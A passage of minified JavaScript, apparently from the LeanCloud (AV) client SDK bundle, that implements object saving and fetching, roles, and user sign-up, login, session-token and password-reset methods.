d.last(this._opSetQueue)[e]},clear:function(e){e=e||{},e.unset=!0;var t=d.extend(this.attributes,this._operations);return this.set(t,e)},revert:function(e){var t=d.last(this._opSetQueue);return y(e||d.keys(t)).forEach(function(e){delete t[e]}),this._rebuildAllEstimatedData(),this},_getSaveJSON:function(){var t=d.clone(d.first(this._opSetQueue));return e._objectEach(t,function(e,n){t[n]=e.toJSON()}),t},_canBeSerialized:function(){return e.Object._canBeSerializedAsValue(this.attributes)},fetch:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments[1],n=this;return g("classes",this.className,this.id,"GET",b(e),t).then(function(t){var r=n.parse(t);return n._cleanupUnsetKeys(r,e.keys?y(e.keys).join(",").split(","):void 0),n._finishFetch(r,!0),n})},_cleanupUnsetKeys:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:d.keys(this._serverData);d.forEach(n,function(n){void 0===e[n]&&delete t._serverData[n]})},save:function(t,n,r){var i,o,s;d.isObject(t)||_(t)?(i=t,s=n):(i={},i[t]=n,s=r),s=d.clone(s)||{},s.wait&&(o=d.clone(this.attributes));var a=d.clone(s)||{};a.wait&&(a.silent=!0),i&&this.set(i,a);var u=this,c=[],l=[];return e.Object._findUnsavedChildren(u,c,l),c.length+l.length>1?e.Object._deepSaveAsync(this,u,s):(this._startSave(),this._saving=(this._saving||0)+1,this._allPreviousSaves=this._allPreviousSaves||h.default.resolve(),this._allPreviousSaves=this._allPreviousSaves.catch(function(e){}).then(function(){var e=u.id?"PUT":"POST",t=u._getSaveJSON(),n={};if((u._fetchWhenSave||s.fetchWhenSave)&&(n.new="true"),s._failOnNotExist&&(n.failOnNotExist="true"),s.query){var r;if("function"==typeof s.query._getParams&&(r=s.query._getParams())&&(n.where=r.where),!n.where){throw new Error("options.query is not an AV.Query")}}d.extend(t,u._flags);var c="classes",l=u.className;"_User"!==u.className||u.id||(c="users",l=null);var f=s._makeRequest||g,h=f(c,l,u.id,e,t,s,n);return h=h.then(function(e){var t=u.parse(e);return s.wait&&(t=d.extend(i||{},t)),u._finishSave(t),s.wait&&u.set(o,a),u},function(e){throw u._cancelSave(),e})}),this._allPreviousSaves)},destroy:function(e){e=e||{};var t=this,n=function(){t.trigger("destroy",t,t.collection,e)};return this.id?(e.wait||n(),g("classes",this.className,this.id,"DELETE",this._flags,e).then(function(){return e.wait&&n(),t})):n()},parse:function(t){var n=d.clone(t);return d(["createdAt","updatedAt"]).each(function(t){n[t]&&(n[t]=e._parseDate(n[t]))}),n.createdAt&&!n.updatedAt&&(n.updatedAt=n.createdAt),n},clone:function(){return new this.constructor(this.attributes)},isNew:function(){return!this.id},change:function(t){t=t||{};var n=this._changing;this._changing=!0;var r=this;e._objectEach(this._silent,function(e){r._pending[e]=!0});var i=d.extend({},t.changes,this._silent);if(this._silent={},e._objectEach(i,function(e,n){r.trigger("change:"+n,r,r.get(n),t)}),n)return this;for(var o=function(e,t){r._pending[t]||r._silent[t]||delete r.changed[t]};!d.isEmpty(this._pending);)this._pending={},this.trigger("change",this,t),e._objectEach(this.changed,o),r._previousAttributes=d.clone(this.attributes);return this._changing=!1,this},previous:function(e){return arguments.length&&this._previousAttributes?this._previousAttributes[e]:null},previousAttributes:function(){return d.clone(this._previousAttributes)},isValid:function(){try{this.validate(this.attributes)}catch(e){return!1}return!0},validate:function(t){if(d.has(t,"ACL")&&!(t.ACL instanceof e.ACL))throw new p(p.OTHER_CAUSE,"ACL must be a AV.ACL.")},_validate:function(e,t){!t.silent&&this.validate&&(e=d.extend({},this.attributes,e),this.validate(e))},getACL:function(){return this.get("ACL")},setACL:function(e,t){return this.set("ACL",e,t)},disableBeforeHook:function(){this.ignoreHook("beforeSave"),this.ignoreHook("beforeUpdate"),this.ignoreHook("beforeDelete")},disableAfterHook:function(){this.ignoreHook("afterSave"),this.ignoreHook("afterUpdate"),this.ignoreHook("afterDelete")},ignoreHook:function(t){if(!d.contains(["beforeSave","afterSave","beforeUpdate","afterUpdate","beforeDelete","afterDelete"],t))throw new Error("Unsupported hookName: "+t);if(!e.hookKey)throw new Error("ignoreHook required hookKey");this._flags.__ignore_hooks||(this._flags.__ignore_hooks=[]),this._flags.__ignore_hooks.push(t)}}),e.Object.createWithoutData=function(t,n,r){var i=void 0;if(d.isString(t))i=e.Object._getSubclass(t);else{if(!(t.prototype&&t.prototype instanceof e.Object))throw new Error("class must be a string or a subclass of AV.Object.");i=t}var o=new i;return o.id=n,o._hasData=r,o},e.Object.destroyAll=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(!e||0===e.length)return h.default.resolve();var n=d.groupBy(e,function(e){return(0,u.default)({className:e.className,flags:e._flags})}),r={requests:d.map(n,function(e){var t=d.map(e,"id").join(",");return{method:"DELETE",path:"/1.1/classes/"+e[0].className+"/"+t,body:e[0]._flags}})};return g("batch",null,null,"POST",r,t).then(function(e){var t=d.find(e,function(e){return!e.success});if(t)throw new p(t.error.code,t.error.error)})},e.Object._getSubclass=function(t){if(!d.isString(t))throw new Error("AV.Object._getSubclass requires a string argument.");var n=e.Object._classMap[t];return n||(n=e.Object.extend(t),e.Object._classMap[t]=n),n},e.Object._create=function(t,n,r){return new(e.Object._getSubclass(t))(n,r)},e.Object._classMap={},e.Object._extend=e._extend,e.Object.new=function(t,n){return new e.Object(t,n)},e.Object.extend=function(t,n,r){if(!d.isString(t)){if(t&&d.has(t,"className"))return e.Object.extend(t.className,t,n);throw new Error("AV.Object.extend's first argument should be the className.")}"User"===t&&(t="_User");var i=null;if(d.has(e.Object._classMap,t)){var o=e.Object._classMap[t];if(!n&&!r)return o;i=o._extend(n,r)}else n=n||{},n._className=t,i=this._extend(n,r);return i.extend=function(n){if(d.isString(n)||n&&d.has(n,"className"))return e.Object.extend.apply(i,arguments);var r=[t].concat(d.toArray(arguments));return e.Object.extend.apply(i,r)},Object.defineProperty(i,"query",(0,s.default)(e.Object,"query")),i.new=function(e,t){return new i(e,t)},e.Object._classMap[t]=i,i},Object.defineProperty(e.Object.prototype,"className",{get:function(){var e=this._className||this.constructor._LCClassName||this.constructor.name;return"User"===e?"_User":e}}),e.Object.register=function(t,n){if(!(t.prototype instanceof e.Object))throw new Error("registered class is not a subclass of AV.Object");var r=n||t.name;if(!r.length)throw new Error("registered class must be named");n&&(t._LCClassName=n),e.Object._classMap[r]=t},Object.defineProperty(e.Object,"query",{get:function(){return new e.Query(this.prototype.className)}}),e.Object._findUnsavedChildren=function(t,n,r){e._traverse(t,function(t){return t instanceof e.Object?void(t.dirty()&&n.push(t)):t instanceof e.File?void(t.id||r.push(t)):void 0})},e.Object._canBeSerializedAsValue=function(t){var n=!0;return t instanceof e.Object||t instanceof e.File?n=!!t.id:d.isArray(t)?e._arrayEach(t,function(t){e.Object._canBeSerializedAsValue(t)||(n=!1)}):d.isObject(t)&&e._objectEach(t,function(t){e.Object._canBeSerializedAsValue(t)||(n=!1)}),n},e.Object._deepSaveAsync=function(t,n,r){var i=[],o=[];e.Object._findUnsavedChildren(t,i,o);var s=h.default.resolve();d.each(o,function(e){s=s.then(function(){return e.save()})});var a=d.uniq(i),u=d.uniq(a);return s.then(function(){return k(function(){return u.length>0},function(){var t=[],n=[];if(e._arrayEach(u,function(e){if(t.length>20)return void n.push(e);e._canBeSerialized()?t.push(e):n.push(e)}),u=n,0===t.length)return h.default.reject(new p(p.OTHER_CAUSE,"Tried to save a batch with a cycle."));var i=h.default.resolve(d.map(t,function(e){return e._allPreviousSaves||h.default.resolve()})),o=i.then(function(){return g("batch",null,null,"POST",{requests:d.map(t,function(e){var t=e.id?"PUT":"POST",n=e._getSaveJSON();d.extend(n,e._flags);var r=e.className,i="/classes/"+r;"_User"!==e.className||e.id||(i="/users");var i="/1.1"+i;return e.id&&(i=i+"/"+e.id),e._startSave(),{method:t,path:i,body:n}})},r).then(function(e){var n=d.map(t,function(t,n){return e[n].success?(t._finishSave(t.parse(e[n].success)),t):(t._cancelSave(),new p(e[n].error.code,e[n].error.error))});return C(n)})});return e._arrayEach(t,function(e){e._allPreviousSaves=o}),o})}).then(function(){return t})}}},function(e,t,n){e.exports={default:n(144),__esModule:!0}},function(e,t,n){n(145);var r=n(1).Object;e.exports=function(e,t){return r.getOwnPropertyDescriptor(e,t)}},function(e,t,n){var r=n(15),i=n(77).f;n(47)("getOwnPropertyDescriptor",function(){return function(e,t){return i(r(e),t)}})},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=n(79),o=r(i),s=n(149),a=r(s);t.default=function(){function e(e,t){var n=[],r=!0,i=!1,o=void 0;try{for(var s,u=(0,a.default)(e);!(r=(s=u.next()).done)&&(n.push(s.value),!t||n.length!==t);r=!0);}catch(e){i=!0,o=e}finally{try{!r&&u.return&&u.return()}finally{if(i)throw o}}return n}return function(t,n){if(Array.isArray(t))return t;if((0,o.default)(Object(t)))return e(t,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}()},function(e,t,n){n(33),n(21),e.exports=n(148)},function(e,t,n){var r=n(44),i=n(4)("iterator"),o=n(17);e.exports=n(1).isIterable=function(e){var t=Object(e);return void 0!==t[i]||"@@iterator"in t||o.hasOwnProperty(r(t))}},function(e,t,n){e.exports={default:n(150),__esModule:!0}},function(e,t,n){n(33),n(21),e.exports=n(151)},function(e,t,n){var r=n(8),i=n(45);e.exports=n(1).getIterator=function(e){var t=i(e);if("function"!=typeof t)throw TypeError(e+" is not iterable!");return r(t.call(e))}},function(e,t,n){"use strict";var r=n(0),i=n(16);e.exports=function(e){e.Role=e.Object.extend("_Role",{constructor:function(t,n){if(r.isString(t)?(e.Object.prototype.constructor.call(this,null,null),this.setName(t)):e.Object.prototype.constructor.call(this,t,n),n){if(!(n instanceof e.ACL))throw new TypeError("acl must be an instance of AV.ACL");this.setACL(n)}},getName:function(){return this.get("name")},setName:function(e,t){return this.set("name",e,t)},getUsers:function(){return this.relation("users")},getRoles:function(){return this.relation("roles")},validate:function(t,n){if("name"in t&&t.name!==this.getName()){var o=t.name;if(this.id&&this.id!==t.objectId)return new i(i.OTHER_CAUSE,"A role's name can only be set before it has been saved.");if(!r.isString(o))return new i(i.OTHER_CAUSE,"A role's name must be a String.");if(!/^[0-9a-zA-Z\-_ ]+$/.test(o))return new i(i.OTHER_CAUSE,"A role's name can only contain alphanumeric characters, _, -, and spaces.")}return!!e.Object.prototype.validate&&e.Object.prototype.validate.call(this,t,n)}})}},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}var i=n(9),o=r(i),s=n(154),a=r(s),u=n(2),c=r(u),l=n(0),f=n(69),h=n(16),d=n(5),p=d._request,v=d.request,g=n(20),m=g.getAdapter,_=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"weixin";return function(t,n){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},i=r.unionIdPlatform,o=void 0===i?e:i,s=r.asMainAccount,a=void 0!==s&&s;if("string"!=typeof n)throw new h(h.OTHER_CAUSE,"unionId is not a string");if("string"!=typeof o)throw new h(h.OTHER_CAUSE,"unionIdPlatform is not a string");return l.extend({},t,{platform:o,unionid:n,main_account:Boolean(a)})}};e.exports=function(e){e.User=e.Object.extend("_User",{_isCurrentUser:!1,_mergeMagicFields:function(t){return t.sessionToken&&(this._sessionToken=t.sessionToken,delete t.sessionToken),e.User.__super__._mergeMagicFields.call(this,t)},_cleanupAuthData:function(){if(this.isCurrent()){var t=this.get("authData");t&&e._objectEach(this.get("authData"),function(e,n){t[n]||delete t[n]})}},_synchronizeAllAuthData:function(){if(this.get("authData")){var t=this;e._objectEach(this.get("authData"),function(e,n){t._synchronizeAuthData(n)})}},_synchronizeAuthData:function(t){if(this.isCurrent()){var n;l.isString(t)?(n=t,t=e.User._authProviders[n]):n=t.getAuthType();var r=this.get("authData");if(r&&t){t.restoreAuthentication(r[n])||this.dissociateAuthData(t)}}},_handleSaveResult:function(t){return t&&!e._config.disableCurrentUser&&(this._isCurrentUser=!0),this._cleanupAuthData(),this._synchronizeAllAuthData(),delete this._serverData.password,this._rebuildEstimatedDataForKey("password"),this._refreshCache(),!t&&!this.isCurrent()||e._config.disableCurrentUser?c.default.resolve():c.default.resolve(e.User._saveCurrentUser(this))},_linkWith:function(t,n){var r,i=this,o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},s=o.failOnNotExist,u=void 0!==s&&s;return l.isString(t)?(r=t,t=e.User._authProviders[t]):r=t.getAuthType(),n?this.save({authData:(0,a.default)({},r,n)},{fetchWhenSave:!!this.get("authData"),_failOnNotExist:u}).then(function(e){return e._handleSaveResult(!0).then(function(){return e})}):t.authenticate().then(function(e){return i._linkWith(t,e)})},associateWithAuthData:function(e,t){return this._linkWith(t,e)},associateWithAuthDataAndUnionId:function(e,t,n,r){return this._linkWith(t,_()(e,n,r))},associateWithMiniApp:function(e,t){var n=this;if(void 0===e){return m("getAuthInfo")().then(function(e){return n._linkWith(e.provider,e.authData,t)})}return this._linkWith(e.provider,e.authData,t)},associateWithQQApp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"qq":i,s=t.asMainAccount,a=void 0===s||s;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return t.provider="lc_qqapp",e.associateWithMiniApp(t)})},associateWithWeapp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"weixin":i,s=t.asMainAccount,a=void 0===s||s;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return e.associateWithMiniApp(t)})},linkWithWeapp:function(e){return console.warn("DEPRECATED: User#linkWithWeapp 已废弃,请使用 User#associateWithWeapp 代替"),this.associateWithWeapp(e)},associateWithQQAppWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"qq":i,s=r.asMainAccount,a=void 0!==s&&s;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),r.provider="lc_qqapp",n.associateWithMiniApp(r)})},associateWithWeappWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"weixin":i,s=r.asMainAccount,a=void 0!==s&&s;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),n.associateWithMiniApp(r)})},dissociateAuthData:function(e){return this.unset("authData."+e),this.save().then(function(e){return e._handleSaveResult(!0).then(function(){return e})})},_unlinkFrom:function(e){return console.warn("DEPRECATED: User#_unlinkFrom 已废弃,请使用 User#dissociateAuthData 代替"),this.dissociateAuthData(e)},_isLinked:function(e){var t;return t=l.isString(e)?e:e.getAuthType(),!!(this.get("authData")||{})[t]},isAnonymous:function(){return this._isLinked("anonymous")},logOut:function(){this._logOutWithAll(),this._isCurrentUser=!1},_logOutWithAll:function(){if(this.get("authData")){var t=this;e._objectEach(this.get("authData"),function(e,n){t._logOutWith(n)})}},_logOutWith:function(t){this.isCurrent()&&(l.isString(t)&&(t=e.User._authProviders[t]),t&&t.deauthenticate&&t.deauthenticate())},signUp:function(e,t){var n=e&&e.username||this.get("username");if(!n||""===n)throw new h(h.OTHER_CAUSE,"Cannot sign up user with an empty name.");var r=e&&e.password||this.get("password");if(!r||""===r)throw new h(h.OTHER_CAUSE,"Cannot sign up user with an empty password.");return this.save(e,t).then(function(e){return e.isAnonymous()&&(e.unset("authData.anonymous"),e._opSetQueue=[{}]),e._handleSaveResult(!0).then(function(){return e})})},signUpOrlogInWithMobilePhone:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=e&&e.mobilePhoneNumber||this.get("mobilePhoneNumber");if(!n||""===n)throw new h(h.OTHER_CAUSE,"Cannot sign up or login user by mobilePhoneNumber with an empty mobilePhoneNumber.");var r=e&&e.smsCode||this.get("smsCode");if(!r||""===r)throw new h(h.OTHER_CAUSE,"Cannot sign up or login user by mobilePhoneNumber with an empty smsCode.");return t._makeRequest=function(e,t,n,r,i){return p("usersByMobilePhone",null,null,"POST",i)},this.save(e,t).then(function(e){return delete e.attributes.smsCode,delete e._serverData.smsCode,e._handleSaveResult(!0).then(function(){return e})})},loginWithAuthData:function(e,t,n){return this._linkWith(t,e,n)},loginWithAuthDataAndUnionId:function(e,t,n,r){return this.loginWithAuthData(_()(e,n,r),t,r)},loginWithWeapp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"weixin":i,s=t.asMainAccount,a=void 0===s||s,u=t.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return e.loginWithMiniApp(t,{failOnNotExist:c})})},loginWithWeappWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"weixin":i,s=r.asMainAccount,a=void 0!==s&&s,u=r.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),n.loginWithMiniApp(r,{failOnNotExist:c})})},loginWithQQApp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"qq":i,s=t.asMainAccount,a=void 0===s||s,u=t.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return t.provider="lc_qqapp",e.loginWithMiniApp(t,{failOnNotExist:c})})},loginWithQQAppWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"qq":i,s=r.asMainAccount,a=void 0!==s&&s,u=r.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),r.provider="lc_qqapp",n.loginWithMiniApp(r,{failOnNotExist:c})})},loginWithMiniApp:function(e,t){var n=this;if(void 0===e){return m("getAuthInfo")().then(function(e){return n.loginWithAuthData(e.authData,e.provider,t)})}return this.loginWithAuthData(e.authData,e.provider,t)},logIn:function(){var e=this;return p("login",null,null,"POST",this.toJSON()).then(function(t){var n=e.parse(t);return e._finishFetch(n),e._handleSaveResult(!0).then(function(){return n.smsCode||delete e.attributes.smsCode,e})})},save:function(t,n,r){var i,o;return l.isObject(t)||l.isNull(t)||l.isUndefined(t)?(i=t,o=n):(i={},i[t]=n,o=r),o=o||{},e.Object.prototype.save.call(this,i,o).then(function(e){return e._handleSaveResult(!1).then(function(){return e})})},follow:function(t,n){if(!this.id)throw new Error("Please signin.");var r=void 0,i=void 0;t.user?(r=t.user,i=t.attributes):r=t;var o=l.isString(r)?r:r.id;if(!o)throw new Error("Invalid target user.");var s="users/"+this.id+"/friendship/"+o;return p(s,null,null,"POST",e._encode(i),n)},unfollow:function(e,t){if(!this.id)throw new Error("Please signin.");var n=void 0;n=e.user?e.user:e;var r=l.isString(n)?n:n.id;if(!r)throw new Error("Invalid target user.");var i="users/"+this.id+"/friendship/"+r;return p(i,null,null,"DELETE",null,t)},followerQuery:function(){return e.User.followerQuery(this.id)},followeeQuery:function(){return e.User.followeeQuery(this.id)},fetch:function(t,n){return e.Object.prototype.fetch.call(this,t,n).then(function(e){return e._handleSaveResult(!1).then(function(){return e})})},updatePassword:function(e,t,n){var r=this,i="users/"+this.id+"/updatePassword";return p(i,null,null,"PUT",{old_password:e,new_password:t},n).then(function(e){return r._finishFetch(r.parse(e)),r._handleSaveResult(!0).then(function(){return e})})},isCurrent:function(){return this._isCurrentUser},getUsername:function(){return this.get("username")},getMobilePhoneNumber:function(){return this.get("mobilePhoneNumber")},setMobilePhoneNumber:function(e,t){return this.set("mobilePhoneNumber",e,t)},setUsername:function(e,t){return this.set("username",e,t)},setPassword:function(e,t){return this.set("password",e,t)},getEmail:function(){return this.get("email")},setEmail:function(e,t){return this.set("email",e,t)},authenticated:function(){return console.warn("DEPRECATED: 如果要判断当前用户的登录状态是否有效,请使用 currentUser.isAuthenticated().then(),如果要判断该用户是否是当前登录用户,请使用 user.id === currentUser.id。"),!!this._sessionToken&&!e._config.disableCurrentUser&&e.User.current()&&e.User.current().id===this.id},isAuthenticated:function(){var t=this;return c.default.resolve().then(function(){return!!t._sessionToken&&e.User._fetchUserBySessionToken(t._sessionToken).then(function(){return!0},function(e){if(211===e.code)return!1;throw e})})},getSessionToken:function(){return this._sessionToken},refreshSessionToken:function(e){var t=this;return p("users/"+this.id+"/refreshSessionToken",null,null,"PUT",null,e).then(function(e){return t._finishFetch(e),t._handleSaveResult(!0).then(function(){return t})})},getRoles:function(t){return e.Relation.reverseQuery("_Role","users",this).find(t)}},{_currentUser:null,_currentUserMatchesDisk:!1,_CURRENT_USER_KEY:"currentUser",_authProviders:{},signUp:function(t,n,r,i){return r=r||{},r.username=t,r.password=n,e.Object._create("_User").signUp(r,i)},logIn:function(t,n){var r=e.Object._create("_User");return r._finishFetch({username:t,password:n}),r.logIn()},become:function(e){return this._fetchUserBySessionToken(e).then(function(e){return e._handleSaveResult(!0).then(function(){return e})})},_fetchUserBySessionToken:function(t){if(void 0===t)return c.default.reject(new Error("The sessionToken cannot be undefined"));var n=e.Object._create("_User");return v({method:"GET",path:"/users/me",authOptions:{sessionToken:t}}).then(function(e){var t=n.parse(e);return n._finishFetch(t),n})},logInWithMobilePhoneSmsCode:function(t,n){var r=e.Object._create("_User");return r._finishFetch({mobilePhoneNumber:t,smsCode:n}),r.logIn()},signUpOrlogInWithMobilePhone:function(t,n,r,i){return r=r||{},r.mobilePhoneNumber=t,r.smsCode=n,e.Object._create("_User").signUpOrlogInWithMobilePhone(r,i)},logInWithMobilePhone:function(t,n){var r=e.Object._create("_User");return r._finishFetch({mobilePhoneNumber:t,password:n}),r.logIn()},loginWithEmail:function(t,n){var r=e.Object._create("_User");return r._finishFetch({email:t,password:n}),r.logIn()},loginWithAuthData:function(t,n,r){return e.User._logInWith(n,t,r)},signUpOrlogInWithAuthData:function(){return console.warn("DEPRECATED: User.signUpOrlogInWithAuthData 已废弃,请使用 User#loginWithAuthData 代替"),this.loginWithAuthData.apply(this,arguments)},loginWithAuthDataAndUnionId:function(e,t,n,r){return this.loginWithAuthData(_()(e,n,r),t,r)},signUpOrlogInWithAuthDataAndUnionId:function(){return console.warn("DEPRECATED: User.signUpOrlogInWithAuthDataAndUnionId 已废弃,请使用 User#loginWithAuthDataAndUnionId 代替"),this.loginWithAuthDataAndUnionId.apply(this,arguments)},mergeUnionId:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=n.asMainAccount,i=void 0!==r&&r;e=JSON.parse((0,o.default)(e));var s=e,a=s.authData,u=s.platform;return a.platform=u,a.main_account=i,a.unionid=t,e},loginWithWeapp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"weixin":i,s=t.asMainAccount,a=void 0===s||s,u=t.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return e.loginWithMiniApp(t,{failOnNotExist:c})})},loginWithWeappWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"weixin":i,s=r.asMainAccount,a=void 0!==s&&s,u=r.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),n.loginWithMiniApp(r,{failOnNotExist:c})})},loginWithQQApp:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.preferUnionId,r=void 0!==n&&n,i=t.unionIdPlatform,o=void 0===i?"qq":i,s=t.asMainAccount,a=void 0===s||s,u=t.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({preferUnionId:r,asMainAccount:a,platform:o}).then(function(t){return t.provider="lc_qqapp",e.loginWithMiniApp(t,{failOnNotExist:c})})},loginWithQQAppWithUnionId:function(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.unionIdPlatform,o=void 0===i?"qq":i,s=r.asMainAccount,a=void 0!==s&&s,u=r.failOnNotExist,c=void 0!==u&&u;return m("getAuthInfo")({platform:o}).then(function(r){return r=e.User.mergeUnionId(r,t,{asMainAccount:a}),r.provider="lc_qqapp",n.loginWithMiniApp(r,{failOnNotExist:c})})},loginWithMiniApp:function(e,t){var n=this;if(void 0===e){return m("getAuthInfo")().then(function(e){return n.loginWithAuthData(e.authData,e.provider,t)})}return this.loginWithAuthData(e.authData,e.provider,t)},_genId:function(){return f()},loginAnonymously:function(){return this.loginWithAuthData({id:e.User._genId()},"anonymous")},associateWithAuthData:function(e,t,n){return console.warn("DEPRECATED: User.associateWithAuthData 已废弃,请使用 User#associateWithAuthData 代替"),e._linkWith(t,n)},logOut:function(){return e._config.disableCurrentUser?(console.warn("AV.User.current() was disabled in multi-user environment, call logOut() from user object instead https://leancloud.cn/docs/leanengine-node-sdk-upgrade-1.html"),c.default.resolve(null)):(null!==e.User._currentUser&&(e.User._currentUser._logOutWithAll(),e.User._currentUser._isCurrentUser=!1),e.User._currentUserMatchesDisk=!0,e.User._currentUser=null,e.localStorage.removeItemAsync(e._getAVPath(e.User._CURRENT_USER_KEY)).then(function(){return e._refreshSubscriptionId()}))},followerQuery:function(t){if(!t||!l.isString(t))throw new Error("Invalid user object id.");var n=new e.FriendShipQuery("_Follower");return n._friendshipTag="follower",n.equalTo("user",e.Object.createWithoutData("_User",t)),n},followeeQuery:function(t){if(!t||!l.isString(t))throw new Error("Invalid user object id.");var n=new e.FriendShipQuery("_Followee");return n._friendshipTag="followee",n.equalTo("user",e.Object.createWithoutData("_User",t)),n},requestPasswordReset:function(e){return p("requestPasswordReset",null,null,"POST",{email:e})},requestEmailVerify:function(e){return p("requestEmailVerify",null,null,"POST",{email:e})},requestMobilePhoneVerify:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={mobilePhoneNumber:e};return t.validateToken&&(n.validate_token=t.validateToken),p("requestMobilePhoneVerify",null,null,"POST",n,t)},requestPasswordResetBySmsCode:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={mobilePhoneNumber:e};return t.validateToken&&(n.validate_token=t.validateToken),p("requestPasswordResetBySmsCode",null,null,"POST",n,t)},resetPasswordBySmsCode:function(e,t){return p("resetPasswordBySmsCode",null,e,"PUT",{password:t})},verifyMobilePhone:function(e){return p("verifyMobilePhone",null,e,"POST",null)},requestLoginSmsCode:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={mobilePhoneNumber:e};return t.validateToken&&(n.validate_token=t.validateToken),p("requestLoginSmsCode",null,null,"POST",n,t)},currentAsync:function(){return e._config.disableCurrentUser?(console.warn("AV.User.currentAsync() was disabled in multi-user environment, access user from request instead https://leancloud.cn/docs/leanengine-node-sdk-upgrade-1.html"),c.default.resolve(null)):e.User._currentUser?c.default.resolve(e.User._currentUser):e.User._currentUserMatchesDisk?c.default.resolve(e.User._currentUser):e.localStorage.getItemAsync(e._getAVPath(e.User._CURRENT_USER_KEY)).then(function(t){if(!t)return null;e.User._currentUserMatchesDisk=!0,e.User._currentUser=e.Object._create("_User"),e.User._currentUser._isCurrentUser=!0;var n=JSON.parse(t);return e.User._currentUser.id=n._id,delete n._id,e.User._currentUser._sessionToken=n._sessionToken,delete n._sessionToken,e.User._currentUser._finishFetch(n),e.User._currentUser._synchronizeAllAuthData(),e.User._currentUser._refreshCache(),e.User._currentUser._opSetQueue=[{}],e.User._currentUser})},current:function(){if(e._config.disableCurrentUser)return console.warn("AV.User.current() was disabled in multi-user environment, access user from request instead https://leancloud.cn/docs/leanengine-node-sdk-upgrade-1.html"),null;if(e.localStorage.async){var t=new Error("Synchronous API User.current() is not available in this runtime. Use User.currentAsync() instead.");throw t.code="SYNC_API_NOT_AVAILABLE",t}if(e.User._currentUser)return e.User._currentUser;if(e.User._currentUserMatchesDisk)return e.User._currentUser;e.User._currentUserMatchesDisk=!0;var n=e.localStorage.getItem(e._getAVPath(e.User._CURRENT_USER_KEY));if(!n)return null;e.User._currentUser=e.Object._create("_User"),e.User._currentUser._isCurrentUser=!0;var r=JSON.parse(n);return e.User._currentUser.id=r._id,delete r._id,e.User._currentUser._sessionToken=r._sessionToken,delete r._sessionToken,e.User._currentUser._finishFetch(r),e.User._currentUser._synchronizeAllAuthData(),e.User._currentUser._refreshCache(),e.User._currentUser._opSetQueue=[{}],e.User._currentUser},_saveCurrentUser:function(t){var n;return n=e.User._currentUser!==t?e.User.logOut():c.default.resolve(),n.then(function(){t._isCurrentUser=!0,e.User._currentUser=t;var n=t._toFullJSON();return n._id=t.id,n._sessionToken=t._sessionToken,e.localStorage.setItemAsync(e._getAVPath(e.User._CURRENT_USER_KEY),(0,o.default)(n)).then(function(){return 